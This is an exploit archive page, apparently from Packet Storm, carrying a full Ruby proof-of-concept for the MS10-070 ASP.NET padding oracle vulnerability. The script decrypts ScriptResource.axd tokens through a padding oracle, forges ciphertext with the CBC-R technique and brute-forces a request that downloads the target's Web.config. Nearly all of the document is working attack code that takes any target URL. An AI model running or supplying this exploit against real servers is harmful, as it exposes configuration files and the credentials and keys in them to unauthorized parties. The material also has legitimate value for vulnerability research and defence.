what you don't know can hurt you

MS10-070 ASP.NET Padding Oracle File Download

MS10-070 ASP.NET Padding Oracle File Download
Posted Oct 17, 2010
Authored by Agustin Azubel | Site ampliasecurity.com

Microsoft ASPX padding Oracle proof of concept exploit.

tags | exploit, proof of concept
MD5 | 0d69d9350530fef01d4231723a8f60fb

MS10-070 ASP.NET Padding Oracle File Download

Change Mirror Download
#!/usr/bin/ruby -w

#
# aspx_po_chotext_attack.rb
#
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#
# http://www.ampliasecurity.com
# Agustin Azubel - aazubel@ampliasecurity.com
#
#
# MS10-070 ASPX proof of concept
# Decrypt data using Vaudenay's cbc-padding-oracle-side-channel
# Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#


$debugging = false


require 'net/http'
require 'uri'
require 'rexml/document'


#<require 'xarray'>
module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
end
end

class Array
include XArray
end
#</require 'xarray'>


#<require 'xbase64'>
require 'base64'

class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub '+', '-'
s = s.gsub '/', '_'
s = s.gsub "\n", ''
s = s.gsub "\r", ''

s = XBase64.encode_base64_padding s
end

def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == "="
s[0..(-1 - padding_length)] + padding_length.to_s
end


def self.decode s
s = s.gsub '-', '+'
s = s.gsub '_', '/'

s = self.decode_base64_padding s

Base64.decode64 s
end

def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0...-1] + ("=" * padding_length)
end
end
#</require 'xbase64'>


#<require 'xstring'>
module XString
def xor other
raise RuntimeError, "length mismatch" if self.length != other.length
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
end
alias ^ :xor

def hex_inspect
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
(0x20..0x7e).entries

"[#{length}]" + "\"#{unpack("C*").map { |x|
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
end

def to_blocks blocksize
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end

class String
include XString
end
#</require 'xstring'>


#<require 'padding_verification_strategy'>
class PaddingVerificationStrategy
def initialize parameters
@parameters = parameters
end

def valid_padding?
raise RuntimeError, "abstract method !"
end
end

class ErrorCodeStrategy < PaddingVerificationStrategy
def valid_padding? response
invalid_padding_error_code = @parameters[:invalid_padding_error_code]
not (invalid_padding_error_code == response.code)
end
end

class BodyLengthStrategy < PaddingVerificationStrategy
def valid_padding? response
invalid_padding_body_length = @parameters[:invalid_padding_body_length]
absolute_error = @parameters[:absolute_error]

not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)
end
end

class BodyContentStrategy < PaddingVerificationStrategy
def valid_padding?
end
end

class TimingStrategy < PaddingVerificationStrategy
def valid_padding?
end
end
#</require 'padding_verification_strategy'>


#<require 'padding_oracle_decryptor'>
class PaddingOracleDecryptor
attr_accessor :blocksize
attr_accessor :d_value
attr_accessor :http
attr_accessor :strategy

def initialize
@tries = 0
@a = []
@decrypted = []
@blocksize = nil
@d_value = nil
@http = nil
@strategy = nil
end


def discover_blocksize_and_oracle_behaviour
puts "discovering blocksize and oracle behaviour..."

[ 16, 8 ].each do |b|
ciphertext = @d_value.clone
ciphertext[-(b * 3)] ^= 0x01

response = http.send_request ciphertext

valid_padding_code = response.code
valid_padding_body_length = response.body.length

0.upto b - 1 do |i|
ciphertext = @d_value.clone
ciphertext[-(b * 2) + i] ^= 0x01

response = http.send_request ciphertext

# puts "code: #{response.code}, length: #{response.body.length}"

# if valid_padding_code != response.code
# puts "padding verification strategy based on error code"
# @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,
# :invalid_padding_code => response.code
# @blocksize = b
# break
# end

if valid_padding_body_length != response.body.length
absolute_error = 200
if (valid_padding_body_length - response.body.length).abs > absolute_error
puts "padding verification strategy based on body length"
@strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,
:invalid_padding_body_length => response.body.length,
:absolute_error => absolute_error
@blocksize = b
break
end
end
end
break if blocksize
end

raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize

puts "discovered blocksize: #{blocksize}"
# blocksize and padding_length leads to automatic tail decryption !

blocksize
end

def valid_padding? response
strategy.valid_padding? response
end

def ask_oracle r
@tries += 1
r = r[1..-1].pack "C" * blocksize

ciphertext = d_value + r + @y

response = http.send_request ciphertext

return 1 if valid_padding? response

return 0
end

def decrypt_last_word
print "last word... "
$stdout.flush

b = blocksize

# 1. pick a few random words r[1],...,r[b] and take i = 0
saved_r = [0]
saved_r += (1..b).map { |i| rand 0xff }
i = 1
loop do
r = saved_r.clone

# 2. pick r = r[1],...,r[b-1],(r[b] xor i)
r[b] = r[b] ^ i

# 3. if O(r|y) = 0 then increment i and go back to the previous step
break if ask_oracle(r) == 1
i += 1
raise "failed!" if i > 0xff
end

# 4. replace r[b] by r[b xor i]
saved_r[b] = saved_r[b] ^ i

# 5. for n = b down to 2 do
# (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]
# (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]
b.downto 2 do |n|
r = saved_r.clone
r[b-n+1] = r[b-n+1] ^ 1
if ask_oracle(r) == 0
# puts "lucky #{n}!"
n.downto(1) do |t|
word = r[b-t+1] ^ n
@a[b-t+1] = word
puts "a[#{b-t+1}]: #{word}"
end
return
end
end
r = saved_r.clone

# 6. output r[b] xor 1
last_word = r[b] ^ 1
@a[blocksize] = last_word
# puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]
end

def decrypt_ax x
print "a[#{x}]... "
$stdout.flush

b = blocksize
j = x+1
saved_r = [ 0 ]

# 2. pick r[1],...,r[j-1] at random and take i = 0
saved_r += (1..x).map { |i| rand 0xff }
i = 0

# 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b
2.upto b do |k|
saved_r[k] = @a[k] ^ (b - j + 2) if x < k
end

loop do
r = saved_r.clone

# 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]
r[x] = r[x] ^ i


# 4. if O(r|y) = 0 then increment i and go back to the previous step
break if (ask_oracle r) == 1
i += 1
raise "failed!" if i > 255
end

r = saved_r.clone

# 5. output r[j-1] xor i xor (b - j + 2)
@a[x] = (r[x] ^ i) ^ (b - j + 2)
# puts "\x07a[#{x}]: 0x%02x" % @a[x]
end


def decrypt_block iv, y
@tries = 0
@iv = iv
@y = y

print "decrypting "
$stdout.flush

decrypt_last_word
(blocksize - 1).downto 1 do |j|
decrypt_ax j
end

puts
puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"
@a.shift

plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*"

plaintext_block
end

def decrypt ciphertext
plaintext_blocks = Array.new
cipher_blocks = ciphertext.to_blocks blocksize

iv = "\x00" * blocksize
cipher_blocks.unshift iv

1.upto cipher_blocks.length - 2 do |i|
plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
plaintext_blocks.unshift plaintext_block
end

plaintext_blocks.join
end
end
#</require 'padding_oracle_decryptor'>


class ASPXPaddingOracleChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :axdpath
attr_reader :axdname
attr_reader :decryptor
attr_reader :base_mask

def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@filelength = parameters[:filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@blocksize = nil
@axdpath = nil
@axdname = nil
@decryptor = PaddingOracleDecryptor.new

puts "using target: #{@uri}"
puts "using base_mask: 0x%04x" % @base_mask
end

def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http
end


def parse_script_tag xml, re
d = nil

doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
src_attribute = e.attributes['src']
md = re.match src_attribute
d = md[1]
break
end

raise RuntimeError, "could not parse script_tag" unless d

d
end
private :parse_script_tag

def get_ciphertext_sample
puts "starting connection..."

http.start

[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]
].each do |name, re|

headers = { 'User-Agent' => \
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

response = http.get uri.path, headers
body = response.body

script_tags = body.lines.select { |x| x.index name }

next if script_tags.empty?

# puts "script tags using #{name} [#{script_tags.length}]:"
# puts script_tags.map { |x| "\t#{x}" }

d = parse_script_tag script_tags[0], re

puts "using script: #{name}"
puts "using d_value: #{d}"

@axdpath = uri.path[0, uri.path.rindex('/')]
@axdname = name
@d_value = ("\x00" * 16) + (XBase64.decode d)
break
end

raise RuntimeError, "could not find any axd sample" unless d_value

decryptor.http = self
decryptor.d_value = d_value

d_value
end

def parse_html_body h, body
parsed = String.new

doc = REXML::Document.new body
doc.elements.each h do |e|
parsed = e.text
break
end

parsed
end

def send_request d
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
request['Connection'] = 'Keep-Alive'
@http.request request
end

def decrypt ciphertext
decryptor.decrypt ciphertext
end


def discover_blocksize_and_oracle_behaviour
@blocksize = decryptor.discover_blocksize_and_oracle_behaviour
end

def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts "cipher_blocks.count: #{cipher_blocks.count}"

required_block_count = 1 + new_plaintext_blocks.length + 1
puts "required_block_count: #{required_block_count}"

if required_block_count < cipher_blocks.count then
delta = cipher_blocks.count - required_block_count
puts "removing #{delta} extra blocks..."
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts "adding #{delta} extra_blocks..."
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]
end

puts "cipher_blocks.count: #{cipher_blocks.count}"

cipher_blocks
end
private :reallocate_cipher_blocks

def generate_new_plaintext_blocks
tail_padding = "\x01"
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)
head_padding_length = 0 if head_padding_length == blocksize
head_padding = "\x00" * head_padding_length
new_plaintext = head_padding + @filename + tail_padding

new_plaintext.to_blocks blocksize
end
private :generate_new_plaintext_blocks

def encrypt
puts "encrypting \"#{@filename.hex_inspect}..."

new_plaintext_blocks = generate_new_plaintext_blocks

cipher_blocks = @d_value.to_blocks blocksize
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks

puts "decrypting #{new_plaintext_blocks.length} blocks..."
(1..new_plaintext_blocks.length).each do |i|
puts "block #{i} of #{new_plaintext_blocks.length}"

old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]
puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"

cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]
end

puts "eye candy: decrypting crafted ciphertext"
new_plaintext = decrypt cipher_blocks.join
puts "new_plaintext: #{new_plaintext.hex_inspect}"


@d_value = cipher_blocks.join
end


def discover_escape_sequence
puts "discovering escape sequence..."

escape_sequence_mask = nil

offset = base_mask % (blocksize - 4)

ciphertext = d_value.clone
0x1ffff.times do |mask|
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

response = send_request ciphertext
print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \
[ mask, response.code, response.body.length ]

next unless response.code == "200"

next if filelength and (response.body.length < filelength)

next if filere and (not filere =~ response.body)

escape_sequence_mask = base_mask + mask

puts
puts "found!"
puts "press any key to show the contents of the file"
$stdin.gets
puts response.body
break
end

raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask

escape_sequence_mask
end

def pause
puts
puts "press any key to start the attack"
$stdin.gets
end

def run
get_ciphertext_sample
pause
discover_blocksize_and_oracle_behaviour
encrypt
discover_escape_sequence
end
end



puts [ "-------------------------------------------",
"aspx_po_chotext_attack.rb",
"(c) 2010 AmpliaSECURITY",
"http://www.ampliasecurity.com",
"Agustin Azubel - aazubel@ampliasecurity.com",
"-------------------------------------------",
"\n" ].join "\n"


if ARGV.length != 1 then
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"
exit
end

begin
parameters = {
:uri => ARGV.first,
:filename => "|||~/Web.config",
:filere => /configuration/
}

x = ASPXPaddingOracleChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts "Exploit failed: #{e}"

raise if $debugging
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close